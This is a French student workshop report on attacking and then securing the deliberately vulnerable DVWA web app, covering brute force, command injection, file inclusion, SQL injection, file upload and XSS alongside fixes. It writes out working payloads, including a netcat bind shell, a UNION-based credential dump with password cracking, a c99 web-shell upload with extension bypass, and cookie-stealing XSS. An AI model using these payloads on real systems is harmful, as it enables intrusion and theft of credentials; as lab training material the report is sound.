rapportWAS

17 vues

Publié le

0 commentaire
0 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

  • Soyez le premier à aimer ceci

Aucun téléchargement
Vues
Nombre de vues
17
Sur SlideShare
0
Issues des intégrations
0
Intégrations
1
Actions
Partages
0
Téléchargements
1
Commentaires
0
J’aime
0
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

rapportWAS

  1. 1. Web App Security CHEF ATELIER: BEN MARZOUK HAMZA(RT3) BOUJBEL AMEL(RT4) KHALIFI MAJDI(ISI) TOURJMEN HELA(RT3) ALIBI GHAZI(ISET) BEL HAJ HASSINE SOUHA(RT3) TRABELSI OUSSAMA(MPI)
  2. 2. Web App Security | SECURILIGHT 2014 1 Table des matières 1. Présentationdel’atelier.....................................................................................................2 2. Présentationdesoutilsutilisés............................................................................................3 a. Wamp ...............................................................................................................................3 b. DVWA ...............................................................................................................................3 c. Backtrack...........................................................................................................................4 d. Bruter................................................................................................................................5 3. Topologieduréseau.........................................................................................................6 4. Configurationdesoutils.....................................................................................................7 Cas général :......................................................................................................................7 Brute Force :......................................................................................................................9 Command Execution :......................................................................................................10 File Inclusion : .................................................................................................................10 SQL injection : .................................................................................................................10 Command Execution: ......................................................................................................10 File Upload :....................................................................................................................10 XSS stored : .....................................................................................................................10 XSS reflected : .................................................................................................................10 5. Unscénariodetest.........................................................................................................11 Brute force : ....................................................................................................................11 Command Execution :......................................................................................................16 File Inclusion : .................................................................................................................21 SQL injection : .................................................................................................................28 File Upload :....................................................................................................................34 XSS Reflected :.................................................................................................................44 XSS Stored :.....................................................................................................................48 6. Conclusion ....................................................................................................................52
  3. 3. Web App Security | SECURILIGHT 2014 2 1.Présentation de l’atelier L’Atelier Web App Security représente l’étude et le test des différentes vulnérabilités d’une application Web vulnérable (DWVA) distante ou locale en vue de la sécuriser en suite contre ces failles.
  4. 4. Web App Security | SECURILIGHT 2014 3 2.Présentation des outils utilisés a. Wamp WampServer est une plate-forme de développement Web non payante sous Windows pour des applications Web dynamiques à l’aide du serveur Apache2, du langage de scripts PHP et d’une base de données MySQL. Il possède également PHPMyAdmin pour gérer plus facilement vos bases de données. WampServer nous permet d’installer et tester facilement l’application DVWA et de la tester en local. WampServer a comme concurrents EasyPHP et VertrigoServ qui sont aussi non payants b. DVWA DVWA est conçu pour les développeurs qui souhaitent apprendre à protéger leurs applications web. Damn Vulnerable Web App (DVWA) est une application Web PHP/MySQL, qui est sacrément vulnérable. Son but est d'aider les professionnels de la sécurité à tester leurs outils dans un environnement légal, d'aider les développeurs à une meilleure compréhension du processus de sécurisation des applications web.
  5. 5. Web App Security | SECURILIGHT 2014 4 c. Backtrack BackTrack est une distribution Linux, basée sur Slackware jusqu'à la version 3 et Ubuntu depuis la version 4, apparue en 2006. Elle est née de la fusion de Whax et Auditor. Son objectif est de fournir une distribution regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un réseau. Depuis 2013, Backtrack est devenu Kali Linux. BackTrack utilise KDE et GNOME (depuis la version 5 pour ce dernier), supporte plusieurs dispositions de clavier par simple clic (le français s'obtient en sept clics sur le drapeau de la barre KDE), et contient de nombreux outils permettant d'effectuer des tests de sécurité (près de 300). Elle vise à aborder tous les domaines liés aux sécurités modernes. De l'audit réseau à l'analyse et l'identification de vulnérabilité, BackTrack est reconnu par les professionnels de la sécurité informatique comme outil complet.
  6. 6. Web App Security | SECURILIGHT 2014 5 d. Bruter Bruter est un outil spécifique à l’attaque brute force il sert à forcer l’authentification à travers des connexions parallèles sur la victime en utilisant un dictionnaire de login et mots de pass. C’est un outil gratuit sur Windows. Il existe d’autres solutions similaires comme Cain & Abel. Interface de Bruter
  7. 7. Web App Security | SECURILIGHT 2014 6 3.Topologie du réseau Pour cet atelier on a seulement besoin d’une machine fonctionnant avec Windows sur laquelle on a installé un WampServer pour faire fonctionner la DWVA ou une machine fonctionnant avec Backtrack vu que ce dernier intègre les services MySQL et apache
  8. 8. Web App Security | SECURILIGHT 2014 7 4. Configuration des outils Cas général : 1. Installation de WampServer : Télécharger WampServer : http://www.wampserver.com/ 2. Installation de DVWA :  Télécharger DVWA : http://www.dvwa.co.uk/  Déplacer le dossier de l’application dans le répertoire /wamp/www/  Démarrer l’application à partir du navigateur :  Ouvrir dans le navigateur localhost  Ouvrir l’application DWVA localhost/DWVA  Se logger comme admin avec mot de pass password
  9. 9. Web App Security | SECURILIGHT 2014 8
  10. 10. Web App Security | SECURILIGHT 2014 9 Brute Force : L’outil Bruter nous permet de configurer les différents paramètres de l’attaque Brute force sur une application web. Pour cela on doit récupérer ces paramètres grâce à un plugin installé sur le navigateur web Mozilla « En-têtes HTTP en direct »
  11. 11. Web App Security | SECURILIGHT 2014 10 Après cette configuration on pourra réaliser les attaques brute force et les tests. Command Execution : Pas de configuration supplémentaire nécessaire File Inclusion : Pas de configuration supplémentaire nécessaire SQL injection : Pas de configuration supplémentaire nécessaire Command Execution: Pas de configuration supplémentaire nécessaire File Upload : Pas de configuration supplémentaire nécessaire XSS stored : Pas de configuration supplémentaire nécessaire XSS reflected : Pas de configuration supplémentaire nécessaire
  12. 12. Web App Security | SECURILIGHT 2014 11 5.Un scénario de test Brute force : Cette méthode est en général considérée comme la plus simple concevable. Elle permet de casser tout mot de passe en un temps fini indépendamment de la protection utilisée, mais le temps augmente avec la longueur du mot de passe. En théorie la complexité d'une attaque par force brute est une fonction exponentielle de la longueur du mot de passe, la rendant virtuellement impossible pour des mots de passe de longueur moyenne, mais en pratique des optimisations heuristiques peuvent donner des résultats dans des délais beaucoup plus courts. Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arc- en-ciel pour trouver le secret plus rapidement. Au niveau de l’attaque nous avons déjà présenté la configuration de l’outil avec lequel on va tester : Bruter. Après avoir préparé la configuration correspondante au niveau de sécurité de DVWA on lance l’attaque : Niveau low : Et finalement on retrouve la combinaison dans 6 secondes Code du niveau low:
  13. 13. Web App Security | SECURILIGHT 2014 12 <?php if( isset( $_GET['Login'] ) ) { $user = $_GET['username']; $pass = $_GET['password']; $pass = md5($pass); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p ass';"; $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . ' </pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>Welcome to the password protected area " . $user . " </p>"; echo '<img src="' . $avatar . '" />'; } else { //Login failed echo "<pre><br>Username and/or password incorrect.</pre>"; } mysql_close(); } ?> On constate bien que ce code ne contient aucun contrôle et aucune sécurisation contre le bombardement de l’application par brute force. Niveau medium : Dans ce niveau on remarque que la sécurisation ajoutée n’a pas changé grande chose, elle a retardé d’une seconde seulement la récupération de la combinaison.
  14. 14. Web App Security | SECURILIGHT 2014 13 Code du niveau Medium : <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p ass';"; $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . ' </pre>' ); if( $result && mysql_num_rows($result) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>Welcome to the password protected area " . $user . " </p>"; echo '<img src="' . $avatar . '" />'; } else { //Login failed echo "<pre><br>Username and/or password incorrect.</pre>"; } mysql_close(); } ?> On constate que ce code contient un traitement sur le username et sur le password , ce genre de traitement sert principalement à ralentir la requête et ce afin d’augmenter le temps de recherche du hacker. Niveau High : Dans le niveau high on remarque que ça change totalement , l’application devient mieux protégée grâce à des modifications importantes. Résultat de l’attaque :
  15. 15. Web App Security | SECURILIGHT 2014 14 On remarque que l’attaque n’a pas abouti à un résultat et s’est bloquée Code du niveau High : <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p ass';"; $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</p re>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>Welcome to the password protected area " . $user . " </p>"; echo '<img src="' . $avatar . '" />'; } else { // Login failed sleep(3); echo "<pre><br>Username and/or password incorrect.</pre>"; } mysql_close(); } ?> Le code du niveau high contient désormais à part un traitement consistant sur le username et mot de passe, un temps d’attente après chaque authentification non acceptée, ce temps
  16. 16. Web App Security | SECURILIGHT 2014 15 d’attente ralentit énormément voire même bloque l’application malveillante qui essaie de forcer l’opération. On pourra aussi proposer une solution alternative au niveau high en nous servant d’une table dans laquelle on enregistre les utilisateurs suspects et on les bloque pendant une durée assez longue (une minute par exemple) .Aussi on ajoute ce qu’on appelle « key stretching » “In cryptography, key stretching refers to techniques used to make a possibly weak key, typically a password or passphrase, more secure against a brute force attack by increasing the time it takes to test each possible key. Passwords or passphrases created by humans are often short or predictable enough to allow password cracking. Key stretching makes such attacks more difficult.” “Wikipedia”. Solution proposée:
  17. 17. Web App Security | SECURILIGHT 2014 16 Command Execution : L'une des vulnérabilités les plus critiques qu'un testeur peut rencontrer dans un test de demande de pénétration sur Internet est de trouver une application qu'il lui permettra d'exécuter taux de commandes. Le taux du système de cette vulnérabilité est élevé, car il peut permettre à tout utilisateur non autorisé et malveillants pour exécuter les commandes systèmes depuis l'application Web et pour récolter grande quantité d'informations ou de compromettre la machine cible . Nous allons voir comment nous pouvons exploiter cette vulnérabilité en utilisant l'application web vulnérable DVWA . LOW LEVEL: Comme nous pouvons le voir dans le DVWA nous avons un utilitaire de ping libre qui nous permet de faire un ping sur n’ importe quelle adresse IP. Afin de se assurer que l'application est vulnérable à commander l'exécution nous pouvons essayer une simple commande .Dans le champ d'adresse IP, nous tapons 1 | echo pentestlab .Si pentestlab apparaît sur l'application Web après la soumission de la commande alors nous avons une exécution de la commande vulnérabilité.
  18. 18. Web App Security | SECURILIGHT 2014 17 Toujours dans les systèmes d'exploitation basés sur Linux, nous voulons afficher le contenu du fichier / etc / passwd parce que nous pouvons trouver des informations sur les utilisateurs . Nous pouvons également utiliser la commande suivante pour ouvrir un port sur l'hôte distant et de se reconnecter avec netcat. 1 | netcat -v -e '/ bin / bash' -l -p 31337 Pourquoi l’application est vulnérable? Nous pouvons répondre à cette question tout en examinant le code source
  19. 19. Web App Security | SECURILIGHT 2014 18 De le code ci-dessus, nous pouvons voir qu'il n'y a pas de contrôle pour la cible variable $target et elle correspond à une adresse IP ce qui permet à un attaquant d'ajouter commandes derrière l'adresse IP. Medium level À sécurité moyenne, DVWA rend un peu plus difficile par décapage à ces opérateurs familiers. Cependant, si nous alimentons une adresse IP qui ne répond pas à ICMP, il provoque ping pour revenir $? ! = 0 moment idéal pour ajouter une double pipe -. '||' – à l'adresse. En faisant cela, nous pouvons diriger le shell pour exécuter la commande (s) vers la droite des tuyaux. Fond rapide - la double barre verticale indique au shell pour exécuter commande2 seulement si les rendements Command1 avec un échec: command1 || commande2 Voici un exemple concret: sh-3.2 $ cat non_existent_file || echo "Fichier non trouvé" cat: non_existent_file: Aucun fichier ou répertoire Fichier introuvable Alors que si nous utilisons '&&': sh-3.2 $ cat non_existent_file && echo "Fichier non trouvé" cat: non_existent_file: Aucun fichier ou répertoire Avis, la commande 'echo' ne sera pas exécutée. Le code de la sécurité medium level est :
  20. 20. Web App Security | SECURILIGHT 2014 19 High level Dans ce niveau ,On ne peut pas exécuter les commandes linux. par exemple on veut exécuter la commande 1| cat /etc/ password La réponse sera : Donc l’entrée doit ètre une adresse ip dans ce niveau de sécurité
  21. 21. Web App Security | SECURILIGHT 2014 20 La vulnérabilité de command exécution est annulée dans le High level grâce au contrôle sur la variable $target
  22. 22. Web App Security | SECURILIGHT 2014 21 File Inclusion : La faille à laquelle on s'intéresse est due à l'absence de contrôle sur le nom d'un fichier ,qui peut être manipulé par l'utilisateur, qu'on essaye d'inclure dans le code source (en utilisant la fonction include();) Dans notre cas le nom du fichier va être récupéré a l'aide de la méthode $_GET[''] ,donc c'est ce qui apparait dont la barre d'adresse qui va être manipulé. Scenarios de test: Les fichiers qu'on va inclure seront de type texte (.txt) puisque notre but est d'exécuter le code qu'ils contiennent sur le serveur contenant la page vulnérable et non pas le nôtre. Exécution de commandes sur le serveur: On peut utiliser la fonction prédéfinie “system();” qui permet d'exécuter des commandes sur le serveur. Afin de déterminer la commande à exécuter on peut utiliser la méthode $_GET[''] pour passer cette commande comme paramètre à la fonction. Notre code serait ainsi: Puis il ne nous reste que d'inclure le fichier contenant ce code et de passer la commande en paramètre à travers la barre d’adresse, dans cet exemple on va utiliser une commande simple : la commande «help» Et le résultat de l'exécution de cette commande serait:
  23. 23. Web App Security | SECURILIGHT 2014 22 Collecte d'informations importantes: Informations sur la configuration de PHP sur le serveur utilisé: on peut obtenir ce type d'information en appelant la fonction prédéfinie "phpinfo();". Ainsi le code serait: Et le résultat serait l'apparition de plusieurs informations qui peuvent nous aider à avoir une idée sur d'autres types d'attaques peut-on performer :
  24. 24. Web App Security | SECURILIGHT 2014 23 On peut dans ce cas par exemple obtenir le chemin du fichier php.ini et on peut ainsi utiliser cette même faille pour le lire ou même le modifier (ce qui dépend des droits donnés aux utilisateurs par le serveur). Informations concernant le serveur : On peut utiliser le code si dessous pour afficher des informations sur le serveur dans un tableau :
  25. 25. Web App Security | SECURILIGHT 2014 24 Maintenant il ne nous reste que d'inclure le fichier dont on a ecrit ce code : Le code serait ainsi exécuter par le serveur et on obtient en fin le tableau suivant : Avoir accès a des fichier critiques:
  26. 26. Web App Security | SECURILIGHT 2014 25 A cause du fichier .htaccess quelques fichiers ou dossiers peuvent ne pas être accessible sauf si on présente l'identifient et le mot de passe correctes. C’est pour cette raison que l'utilisation de cette vulnérabilité pour afficher le contenu des fichiers .htaccess et .htpasswd est considérer comme important et ceci pourrait être réalisé par l'utilisation de la fonction "show_source();",qui affiche le code source d'une page passée en paramètre. Le code de notre page serait ainsi: et on pourrait l'exploiter en insérant à chaque fois le nom ou le chemin vers le fichier qui nous intéresse. Appliquons ce teste sur le fichier "include.php": Utilisons cette même méthode pour des fichiers plus importants comme .htaccess
  27. 27. Web App Security | SECURILIGHT 2014 26 Contourner le problème propose dans le niveau medium: Dans ce niveau on peut toujours inclure des fichiers locaux comme le .htaccess .htpasswd … Mais toute apparition de http:// ou https:// va être remplacée par une chaine vide ("") or comparer deux chaines revient à comparer les codes ascii de leurs caractères donc http:// et HTTP:// par exemple, sont considérer différents, ce qui représente une solution pour ce cas. Remarque: Si le développeur essaye de nous forcer à inclure un fichier d'extension PHP alors qu'on s'intéresse a inclure des fichiers de type diffèrent on peut ajouter à la fin du nom du fichier ce qu'on appelle le «null byte» pour ignorer le reste de la chaine et par conséquent l'extension ajoutée dans le code source de la page .En effet la fonction include va être traitée par une fonction (entre autres) programmée en C, et en C le «null byte» signifie la fin de la chaine c'est pour cette raison que la partie qui suit(l'extension .php dans ce cas) va être ignorée. Solution: La solution est de contrôler le nom du fichier qui pourrait être donne ou modifier par l'utilisateur. On peut donc générer un code qui ne permet l'inclusion qu'aux pages qu'on détermine dans notre code dans ce cas ça serait la page "include.php" uniquement:
  28. 28. Web App Security | SECURILIGHT 2014 27 Si on essaye d'exploiter la faille: Désormais notre application n’est plus vulnérable à ce type d’attaque
  29. 29. Web App Security | SECURILIGHT 2014 28 SQL injection : Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité. Dans le cas de notre application on a 3 niveaux de sécurité : LOW LEVEL, MEDIUM LEVEL et HIGH LEVEL. LOW etMEDIUM LEVEL: 1-Test de vulnérabilité: Nous pouvons faire l'attaque à partir du zone de texte ci-dessous: Nous testons si notre application est vulnérable ou non: La page Web est censé imprimer ID, Prénom, Nom et à l'écran. Cette partie du code sera exploité et '$id' sera remplacer par 1.
  30. 30. Web App Security | SECURILIGHT 2014 29 2-Scénario toujours vrai pour afficher tous les utilisateurs: Maintenant cet partie du code sera exploité et '$id' sera remplacer par %' or '0'='0. 3-Version de la base de données: %' or 0=0 union select null, version() # Dans la dernière ligne affichée, 5.5.24 est affichée dans SURNAME c'est la version de MYSQL database.
  31. 31. Web App Security | SECURILIGHT 2014 30 4-Afficher toutes les tables INFORMATION_SCHEMA: %' and 1=0 union select null, table_name from information_schema.tables # Maintenant, nous affichons toutes les tables de la base de données INFORMATION_SCHEMA. Le INFORMATION_SCHEMA est la base de données, l'endroit qui stocke des informations sur toutes les autres bases de données que le serveur MySQL entretient. 5-Afficher toutes les tables utilisateur de INFORMATION_SCHEMA: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# Maintenant, nous affichons toutes les tables qui commencent par le préfixe «user» dans la base de données INFORMATION_SCHEMA. 6-Afficher tous les champs de colonnes dans la table user de INFORMATION_SCHEMA: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
  32. 32. Web App Security | SECURILIGHT 2014 31 Maintenant, nous affichons toutes les colonnes dans la table users. Il ya les colonnes user_id, first_name, last_name, user et Password 7-Afficher tous les contenus de champs de colonnes dans la table user de INFORMATION_SCHEMA: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
  33. 33. Web App Security | SECURILIGHT 2014 32 Maintenant, nous avons réussi à montrer toutes les informations d'authentification nécessaires dans cette base de données. 8-Créer un hash de fichier: Nous créerons le fichier contenant les login et les mot de passe hachés séparées par ':' puis on l'enregistre dans '/pentest/passwords/john' sous le nom 'dvwa_password.txt'. Nous exécutons en suite les commandes suivantes: cd /pentest/passwords/john ./john --format=raw-MD5 dvwa_password.txt
  34. 34. Web App Security | SECURILIGHT 2014 33 Enfin, Nous avons réussi à afficher tous les mots de passe et nous pouvons maintenant connecter avec n'importe quel nom d'utilisateur. Solution: Ces attaques peuvent être évitées de plusieurs façons :  Utiliser des procédures stockées, à la place du SQL dynamique. Les données entrées par l'utilisateur sont alors transmises comme paramètres, qui, s'ils sont correctement utilisés par la procédure (par exemple injectés dans une requête paramétrée), évitent l'injection.  Vérifier de manière précise et exhaustive l'ensemble des données venant de l'utilisateur. On peut, par exemple, utiliser une expression rationnelle afin de valider qu'une donnée entrée par l'utilisateur est bien de la forme souhaitée, ou profiter de fonctions de transformation spécifiques au langage. Dans notre application nous allons appliquer des fonctions prédéfinies pour éviter toute sorte d'injection: stripslashes(paramètre); mysql_real_escape_string(paramètre); is_numeric(paramètre); Alors, notre code de l'application devient:
  35. 35. Web App Security | SECURILIGHT 2014 34 File Upload : De nos jours, de nombreux sites permettent d’envoyer des fichiers sur leurs serveurs, pour les partager, les montrer a tout le monde. Ces services peuvent être très dangereux si ils ne sont pas bien protégés, car on propose à l’utilisateur d’envoyer des donnés sur le serveur. Et ils pourraient bien envoyer par exemple du code PHP contenant une Backdoor.
  36. 36. Web App Security | SECURILIGHT 2014 35 Exemple d’exploit de la faille File Upload Dans ce cas de figure on va utiliser la sécurité basse de DVWA et on va uploader dans l’application un fichier malveillant, il s’agit d’un shell php « c99 ». Avec la sécurité basse DWVA accepte tout type de fichier, on va voir après comment corriger cette faille. DVWA a bel et bien accepté notre fichier, maintenant passons aux choses intéressantes. On va maintenant utiliser notre fichier c99.php
  37. 37. Web App Security | SECURILIGHT 2014 36 Et hop : A travers ce Shell, on peut tout faire pour un serveur Unix. En d’autres termes il nous permet de prendre le contrôle d’un serveur.
  38. 38. Web App Security | SECURILIGHT 2014 37 Etude de la faille Maintenant venons au code de la faille : Commençons par le niveau low <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename( $_FILES['uploaded ']['name']); if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $ target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } ?> On remarque bien que ce code ne contient aucun contrôle sur le fichier à uploader d’où on peut uploader n’importe quel fichier.
  39. 39. Web App Security | SECURILIGHT 2014 38 On passe maintenant au niveau medium <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded' ]['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name' ], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>Your image was not uploaded.</pre>'; } } ?> À ce niveau, on remarque le code contient désormais deux contrôles sur le fichier ; un contrôle sur le type et un second sur la taille. Mais cela reste insuffisant car on peut renommer le fichier et ajouter une extension image
  40. 40. Web App Security | SECURILIGHT 2014 39 On voit bien que l’application n’accepte pas le fichier Mais si on renomme le fichier comme suit shell.php.jpeg
  41. 41. Web App Security | SECURILIGHT 2014 40 Sachant que l’extension n’a pas d’importance dans un système Unix, cette faille reste dangereuse d’où il faut ajouter d’autres contrôles.
  42. 42. Web App Security | SECURILIGHT 2014 41 Au niveau high : <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded' ]['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_ name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_siz e < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name' ], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?> On remarque ici l’utilisation d’un contrôle sur l’extension mais ceci reste toujours vulnérable à l’ajout d’une extension que l’application accepte Par exemple shell2.php.jpeg
  43. 43. Web App Security | SECURILIGHT 2014 42 Pour remédier à cette faille on doit tester sur des paramètres spécifiques au type image comme hauteur et largeur Pour cela on utilise la fonction php getimagesize() Alors le code devient : <?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded' ]['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_ name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; list($width, $height, $type, $attr) = @getimagesize($_FIL ES['uploaded']['tmp_name']); if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_siz e < 100000) && ($width > 1) &&($height > 1)) {
  44. 44. Web App Security | SECURILIGHT 2014 43 if(!move_uploaded_file($_FILES['uploaded']['tmp_name' ], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?> Et voilà le test : Et finalement: Notre application est maintenant plus résistante à ce type d’attaque Conclusion
  45. 45. Web App Security | SECURILIGHT 2014 44 Grace à cette étude, on a pu voir comment exploiter la faille de notre application et la protéger contre cette attaque très souvent utilisée par les hackers car elle permet de prendre totalement le contrôle de la cible. XSS Reflected : Introduction : Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, permettant ainsi de provoquer des actions sur les navigateurs web visitant la page. Les possibilités des XSS sont très larges puisque l'attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java, Flash...) et de nouvelles possibilités sont régulièrement découvertes notamment avec l'arrivée de nouvelles technologies comme HTML5. Il est par exemple possible de rediriger vers un autre site pour du hameçonnage ou encore de voler la session en récupérant les cookies.
  46. 46. Web App Security | SECURILIGHT 2014 45 Ce type de faille de sécurité apparait lorsque des données fournies par un client web sont utilisées telles quelles par les scripts du serveur pour produire une page de résultats. Si les données non vérifiées sont incluses dans la page de résultat sans encodage des entités HTML, elles pourront être utilisées pour injecter du code dans la page dynamique reçue par le navigateur client. 1. Low level : Comme nous pouvons le voir dans le DVWA, il y a une zone de texte qui a comme paramètre d’entée une chaine de caractère, elle retourne un message « hello nom_saisie ». Afin de tester que l’application est vulnérable, on va injecter un simple code HTML dans cette zone de texte. Après exécution, le mot ghazi sera en gras et en italique. Ceci Ceci est un simple exemple, mais avec des codes plus complexe et dangereux, l'attaquant peut : - voler des informations d'identification dans les cookies non-HttpOnly. - envoyer des requêtes à un serveur avec les informations d'identification de l'utilisateur. - voler des secrets qui sont stockés dans les variables JavaScript. - -inviter l'utilisateur à télécharger du contenu en soumettant un formulaire. - rediriger vers un autre site. - obtenir des données GPS / appareil photo si l'utilisateur a accordé que l'accès du site à l'appareil. Exemple du code qui permet de changer les liens dans les balises <a></a> avec un lien malveillant.
  47. 47. Web App Security | SECURILIGHT 2014 46 Exemple du code qui permet de d’intercepter les cookies d’un utilisateur et les envoie à son serveur. Ce problème existe puisque il n’a pas de contrôle sur le champ de saisie. 2. medium level : Dans ce niveau, on ajoute une fonction dans le langage PHP : le « str_remplace ». Elle permet de faire un filtre dans la saisie. Tout balise commencent par « <script> » sera remplacer par une chaine vide. Il existe plusieurs mécanismes disponibles pour les développeurs pour dépasser ce filtre, tels que de renvoyer une erreur, en supprimant, encodage, ou de remplacer une entrée invalide. Le moyen par lequel l'application détecte et corrige les entrées invalides est une autre faiblesse dans la prévention primaire XSS. Dans certains cas, il est possible que les filtres basés sur les signatures puissent être simplement défaits par obscurcir l'attaque. Typiquement, vous pouvez le faire grâce à l'insertion de variations inattendues dans la syntaxe. Ces variations sont tolérées par les navigateurs HTML valide que lorsque le code est retourné, et pourtant, ils pourraient également être acceptées par le filtre.
  48. 48. Web App Security | SECURILIGHT 2014 47 Pour sécuriser l’application, plusieurs techniques permettent d'éviter le XSS: - utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ; - utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou JavaScript. - utiliser strip_tags() qui supprime les balises. 3. High level : Apres la modification du code, on a ajouté htmlspecialchars()qui filtre les caractères spécial. C’est la mode la plus sécurisé.
  49. 49. Web App Security | SECURILIGHT 2014 48 XSS Stored : Le cross-site scripting est abrégé XSS pour ne pas être confondu avec le CSS (feuilles de style)1 , X se lisant « cross » (croix) en anglais. Les failles XSS sont très répandues sur Internet, et utilisées dans de nombreuses attaques aujourd’hui. Le principe est d'injecter des données arbitraires dans un site web, par exemple en déposant un message dans un forum, ou par des paramètres d'URL. Si ces données arrivent telles quelles dans la page web transmise au navigateur (par les paramètres d'URL, un message posté…) sans avoir été vérifiées, alors il existe une faille : on peut s'en servir pour faire exécuter du code malveillant en langage de script (du JavaScript le plus souvent) par le navigateur web qui consulte cette page. XSS Stored Ce type de vulnérabilité, aussi appelé faille permanente ou du second ordre permet des attaques puissantes. Elle se produit quand les données fournies par un utilisateur sont stockées sur un serveur (dans une base de données, des fichiers, ou autre), et ensuite réaffichées sans que les caractères spéciaux HTML aient été encodés. Low Level : Ici nous avons 2 champs qui permettent de laisser des messages et d’indiquer son nom d’utilisateur. On va tenter une XSS simple pour commencer (insérer du code Javascript qui sera interprété par le navigateur afin d’afficher une boite de dialogue Javascript) On tape dans la case : « Name » : n’importe quel nom
  50. 50. Web App Security | SECURILIGHT 2014 49 « Message » : la ligne suivante : <script>alert("Ceci affiche une alerte javascript dans la page");</script> A chaque fois qu’on ira sur cette page, on verra apparaitre cette boite de dialogue ! On va essayer cette fois d’insérer une page web dans la page du livre d'or. Pour cela on écrit dans la case « Message » : <iframe src="http://www.Google.com"></iframe> On remarque que le site www.Google.com apparait à l'endroit où aurait du être placé notre message ! On va tenter Maintenant une attaque de niveau plus important : Les cookies On tape dans le champ « Message » : <script>alert(document.cookie);</script> Les cookies doivent s'afficher dans une alerte javascript comme suit :
  51. 51. Web App Security | SECURILIGHT 2014 50 Middle Level : Si on retape le même code avec un niveau de sécurité moyen, on remarque que le code n’est pas exécuté (aucune fenêtre n’apparait) et que les balises script sont supprimées. Il va donc falloir injecter du code ne contenant pas ce type de balises On tape dans la case « Name » : <a href=test.html onClick=alert(document.cookie)>Click me !</a> En cliquant sur « Click Me ! » la fenêtre suivante apparait :
  52. 52. Web App Security | SECURILIGHT 2014 51 Les codes Source : Low Level : Middle Level :
